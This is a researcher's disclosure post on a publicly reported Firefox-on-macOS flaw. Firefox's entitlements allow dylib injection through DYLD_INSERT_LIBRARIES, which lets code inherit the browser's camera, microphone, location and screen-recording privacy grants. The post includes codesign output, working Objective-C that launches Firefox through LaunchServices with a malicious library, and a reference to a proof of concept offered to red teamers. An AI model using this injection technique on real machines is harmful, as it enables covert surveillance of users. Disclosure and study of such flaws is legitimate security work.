Summary

This story is about an issue I reported in July of 2019 via Bugzilla. The ticket is public from the 16th of January 2020, so I don’t disclose any new vulnerability. However, I think such posts are necessary to show the community how applications installed on Macs may harm their privacy. This post will show you how an attacker that achieves code execution on your machine may use Firefox to abuse your Privacy preferences (TCC) and thus access your microphone/camera/location and record your screen. I’ll also share a proof of concept that I hope will be useful also for red teamers. 😉

Context

Firefox is a web browser focused on users' privacy. I personally like its idea, and I used Firefox for many years - kudos to all contributors! Like every browser, Firefox needs to access some privacy-related resources. Users want to have features like online maps (that require location permissions) or talk via the website (that require microphone/camera permissions). So, an average user probably ends with the following privacy preferences:

img

These preferences are tight to the Firefox until the user disables them (or the Firefox is uninstalled). TCC will grant access to the protected resources transparently, without any additional prompts, when Firefox will ask.

The vulnerability

We’ll be injecting to the main executable. If you need an introduction, please read this post.

At first, I verified if the Firefox has the hardened runtime turned on:

$ codesign -d -vv /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
Identifier=org.mozilla.firefox
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=479 flags=0x10000(runtime) hashes=6+5 location=embedded
Signature size=8938
Authority=Developer ID Application: Mozilla Corporation (43AQ936H96)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=22 Feb 2021 at 18:41:07
Info.plist entries=25
TeamIdentifier=43AQ936H96
Runtime Version=10.12.0
Sealed Resources version=2 rules=13 files=93
Internal requirements count=1 size=188

It has. Now let’s take a look at the entitlements:

$ codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<!--
     Entitlements to apply to the .app bundle and all executable files
     contained within it during codesigning of production channel builds that
     will be notarized. These entitlements enable hardened runtime protections
     to the extent possible for Firefox.
-->
<plist version="1.0">
  <dict>
    <!-- Firefox does not use MAP_JIT for executable mappings -->
    <key>com.apple.security.cs.allow-jit</key><false/>

    <!-- Firefox needs to create executable pages (without MAP_JIT) -->
    <key>com.apple.security.cs.allow-unsigned-executable-memory</key><true/>

    <!-- Code paged in from disk should match the signature at page in-time -->
    <key>com.apple.security.cs.disable-executable-page-protection</key><false/>

    <!-- Allow loading third party libraries. Needed for Flash and CDMs -->
    <key>com.apple.security.cs.disable-library-validation</key><true/>

    <!-- Allow dyld environment variables. Needed because Firefox uses
         dyld variables to load libaries from within the .app bundle. -->
    <key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>

    <!-- Don't allow debugging of the executable. Debuggers will be prevented
         from attaching to running executables. Notarization does not permit
         access to get-task-allow (as documented by Apple) so this must be
         disabled on notarized builds. -->
    <key>com.apple.security.get-task-allow</key><false/>

    <!-- Firefox needs to access the microphone on sites the user allows -->
    <key>com.apple.security.device.audio-input</key><true/>

    <!-- Firefox needs to access the camera on sites the user allows -->
    <key>com.apple.security.device.camera</key><true/>

    <!-- Firefox needs to access the location on sites the user allows -->
    <key>com.apple.security.personal-information.location</key><true/>

    <!-- For SmartCardServices(7) -->
    <key>com.apple.security.smartcard</key><true/>
  </dict>
</plist>

As you can see the com.apple.security.cs.disable-library-validation and com.apple.security.cs.allow-dyld-environment-variables are both set to true. It means that malicious application may inject and execute code within the Firefox’s context. As we can be inside the browser’s context, we can also access the resources it has access to.

Exploitation steps

1. Prepare a malicious dynamic library

2. Inject the dylib to Firefox

The important thing here is that we cannot inject the dylib directly from the Terminal. The privacy preferences are inherited, so if we launch Firefox from the Terminal - it will inherit the Terminal’s permissions. However, there is a walkaround - spawning the process via LaunchServices:

bool openUsingLSWith(NSString *path, NSDictionary<NSString*, NSString*> *env) {
    
    FSRef appFSURL;
    OSStatus stat = FSPathMakeRef((const UInt8 *)[path UTF8String], &appFSURL, NULL);
    
    if (stat != errSecSuccess) {
        NSLog(@"Something wrong: %d",stat);
        return false;
    }

    LSApplicationParameters appParam;
    appParam.version = 0;
    appParam.flags = kLSLaunchDefaults;
    appParam.application = &appFSURL;

    appParam.argv = NULL;
    appParam.environment = (__bridge CFDictionaryRef)env;
    appParam.asyncLaunchRefCon = NULL;
    appParam.initialEvent = NULL;

    CFArrayRef array = (__bridge CFArrayRef)@[];
    stat = LSOpenURLsWithRole(array, kLSRolesAll, NULL, &appParam, NULL, 0);

    if (stat != errSecSuccess) {
        NSLog(@"Something went wrong: %d",stat);
        return false;
    }
    
    return true;
}

bool launchFirefox() {
    
    NSString *firefoxPath = @"/Applications/Firefox.app";
    NSString *maliciousDylibPath = [[NSBundle mainBundle] pathForResource:@"libmalicious" ofType:@"dylib"];;
    NSDictionary *env = @{@"DYLD_INSERT_LIBRARIES":maliciousDylibPath};
    
    return openUsingLSWith(firefoxPath, env);
}

LaunchServices query directly launchd, so the TCC permissions won’t be inherited. I know the trick where researchers load a plist via ~/Library/LaunchAgents, but I think this way is much more convenient.

3. Rob the Firefox

4. Kill the process

Proof of concept

I uploaded my Xcode project on Github. Build it and simply run as I showed on the recording below:

If everything worked correctly, you should have 3 files in your /tmp directory:

img